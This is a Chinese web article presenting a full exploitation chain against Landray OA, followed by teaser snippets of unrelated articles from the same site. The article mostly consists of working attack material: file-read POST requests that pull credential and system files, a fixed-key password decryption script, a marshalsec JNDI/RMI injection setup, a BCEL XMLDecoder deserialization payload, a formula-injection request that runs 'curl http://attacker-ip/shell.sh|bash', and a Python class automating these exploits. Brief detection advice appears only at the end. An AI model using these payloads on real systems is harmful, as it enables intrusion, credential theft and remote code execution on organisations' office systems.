news 2026/4/21 10:18:11

从攻击者视角复盘:一次蓝凌OA漏洞利用的完整链条与工具化实践(附环境搭建指南)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从攻击者视角复盘:一次蓝凌OA漏洞利用的完整链条与工具化实践(附环境搭建指南)

蓝凌OA安全测试全链路解析:从信息收集到RCE的实战沙箱构建

当企业办公自动化系统成为攻击者的跳板时,安全研究人员需要比黑客更早发现漏洞链中的薄弱环节。蓝凌OA作为国内广泛使用的协同办公平台,其多个历史漏洞的组合利用可以形成完整的攻击路径。本文将采用红队视角,在封闭实验环境中还原从指纹识别到远程代码执行的全过程技术细节。

1. 实验环境构建与基础信息收集

搭建安全的测试环境是研究漏洞利用链的首要条件。推荐使用VMware Workstation Pro 17配合NAT网络模式,创建隔离的虚拟网络环境。蓝凌OA的测试版本建议选择EKP 9.0至9.5之间的历史版本,这些版本包含我们需要研究的典型漏洞特征。

环境准备清单:

  • VMware ESXi 6.7或Workstation 16+
  • CentOS 7.9最小化安装
  • JDK 1.8u202(注意避免使用251以上版本)
  • MySQL 5.7.36
  • 蓝凌OA安装包(建议使用官方试用版)

指纹识别是攻击链的起点,通过以下HTTP特征可以快速确认蓝凌OA版本:

GET /scripts/ekp.js HTTP/1.1 Host: target.com # 响应头中的Server字段通常包含Landray-EOMP # ekp.js文件中的版本注释会暴露具体版本号

2. 初始访问:敏感信息泄露漏洞利用

信息收集阶段最有效的突破口往往是任意文件读取漏洞。蓝凌OA的custom.jsp接口存在未授权访问风险,允许攻击者获取系统敏感文件。这个环节需要配合Burp Suite等工具进行精细化操作。

典型利用流程:

  1. 使用Repeater模块构造特殊POST请求
  2. 通过file协议读取WEB-INF目录下的配置文件
  3. 提取数据库连接信息和加密凭证

关键请求示例:

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json {"body":{"file":"file:///WEB-INF/KmssConfig/admin.properties"}}

表:常见可读取的关键配置文件

文件路径信息价值
/WEB-INF/KmssConfig/admin.properties后台管理密码(DES加密)
/WEB-INF/classes/ekp.properties数据库连接配置
/etc/passwd系统用户信息
/proc/self/environ环境变量信息

注意:实际测试中建议先读取/etc/hosts等非关键文件验证漏洞有效性,避免触发安全告警

3. 权限提升:后台认证绕过与JNDI注入

获取加密的管理员密码后,需要破解DES加密的凭证。蓝凌OA早期版本使用固定密钥"kmssAdminKey",可通过以下Python脚本快速解密:

from Crypto.Cipher import DES import base64 def decrypt(encrypted): cipher = DES.new(b'kmssAdminKey', DES.MODE_ECB) decrypted = cipher.decrypt(base64.b64decode(encrypted)) return decrypted.rstrip(b'\x00').decode() # 示例:解密从admin.properties获取的密码 print(decrypt("X02xY1F5T3M="))

成功登录admin.do后台后,可利用测试数据库连接功能实施JNDI注入攻击。这个阶段需要搭建RMI服务配合恶意类加载:

# 使用marshalsec快速启动RMI服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ "http://attacker-ip:8000/#Exploit" 1099 # 恶意类编译要求(保持Java 1.7兼容性) javac -source 1.7 -target 1.7 Exploit.java

攻击请求示例:

POST /admin.do HTTP/1.1 Content-Type: application/x-www-form-urlencoded method=testDbConn&datasource=rmi://attacker-ip:1099/Exploit

4. 持久化控制:反序列化漏洞组合利用

获得初步执行权限后,攻击者通常会寻求更稳定的控制方式。蓝凌OA的sysSearchMain.do接口存在XML反序列化漏洞,配合BCEL编码可以实现任意代码执行。

BCEL利用链构建步骤:

  1. 使用BCELCode工具将恶意类转换为BCEL格式
  2. 构造包含BCEL payload的XML结构
  3. 通过文件写入或直接请求触发漏洞

典型攻击流程:

// 生成BCEL编码的示例 String bcelCode = BCELEncoder.encode(Exploit.class); String payload = "<java><void class=\"com.sun.org.apache.bcel.internal.util.ClassLoader\">" + "<void method=\"loadClass\"><string>$$BCEL$$" + bcelCode + "</string>" + "<void method=\"newInstance\"></void></void></void></java>";

公式编辑器漏洞提供了另一种执行路径,通过脚本参数注入可直接执行系统命令:

POST /sys/common/datajson.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded s_bean=sysFormulaValidateByJS&script=java.lang.Runtime.getRuntime().exec("curl http://attacker-ip/shell.sh|bash");

5. 工具化整合与防御检测建议

成熟的攻击者会将离散的漏洞利用过程工具化。基于Python的OA-EXPTOOL项目展示了如何将各个漏洞整合成自动化攻击链:

class LandrayExploit: def file_read(self, url, file_path): payload = {"body":{"file":f"file://{file_path}"}} return requests.post(f"{url}/custom.jsp", json=payload).text def jndi_inject(self, url, rmi_server): params = {"method":"testDbConn", "datasource":f"rmi://{rmi_server}/Exploit"} return requests.post(f"{url}/admin.do", data=params).status_code

防御方应当关注以下关键检测点:

  • 监控对custom.jsp的异常POST请求
  • 分析admin.do接口的测试连接行为
  • 建立XMLDecoder调用的安全审计规则
  • 限制公式解释器的脚本执行权限

在实验环境测试时,建议使用tcpdump记录所有网络流量,配合ELK堆栈构建行为分析基线。每次测试后使用虚拟机快照还原状态,确保每次实验的纯净度。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 10:16:13

Spring Boot 4.0 Agent-Ready 架构落地 checklist(含GraalVM兼容矩阵、Instrumentation白名单、安全沙箱配置模板)

第一章&#xff1a;Spring Boot 4.0 Agent-Ready 架构演进与核心价值Spring Boot 4.0 标志着 JVM 应用可观测性与运行时增强能力的一次范式跃迁。其核心设计理念是将 Java Agent 的能力深度融入框架生命周期&#xff0c;而非作为外部插件松散集成。Agent-Ready 并非简单支持 -j…

作者头像 李华
网站建设 2026/4/21 10:16:05

UniApp开发避坑:input组件的@confirm事件在iOS和Android上的差异处理

UniApp跨端开发实战&#xff1a;深度解析input组件回车事件在iOS与Android的差异处理 去年接手一个跨平台电商项目时&#xff0c;我曾在搜索功能上栽过跟头——测试组反馈iOS设备上约30%的搜索请求无法正常提交&#xff0c;而Android设备却运行完美。经过72小时的排查&#xff…

作者头像 李华
网站建设 2026/4/21 10:14:46

用100道题拿下你的算法面试(矩阵篇-3):二维字符网格中的单词查找

一、面试问题给定一个大小为 mn 的二维字符网格和一个单词&#xff0c;任务是找出该单词在网格中的所有出现位置。单词可以在任意位置沿 8 个方向进行匹配。只有当沿某一方向所有字符都依次匹配时&#xff0c;才算找到该单词&#xff08;非曲折形式&#xff09;。8 个方向分别为…

作者头像 李华
网站建设 2026/4/21 10:08:49

AI Agent Harness Engineering 的离线能力:断网场景下的降级策略

AI Agent Harness Engineering 的离线能力:断网场景下的降级策略 关键词:AI Agent 工程化、断网降级、离线智能缓存、本地模型轻量化、容错架构设计、边缘设备协同、SLA 保障机制 摘要:当你正在用 AI 助手整理出差报销单时突然断网?或者智能巡检机器人在地下车库/偏远山区失…

作者头像 李华
网站建设 2026/4/21 10:07:39

从MPEG-2到网络传输:一文搞懂CRC-32的‘变体’与应用场景(C语言实战)

从MPEG-2到网络传输&#xff1a;CRC-32变体的技术演进与C语言实战 在数字通信和多媒体传输领域&#xff0c;数据完整性校验如同一位沉默的守护者。当我们沉浸在流畅的视频播放中&#xff0c;或是通过ZIP文件打包重要文档时&#xff0c;很少有人会注意到背后默默工作的CRC校验机…

作者头像 李华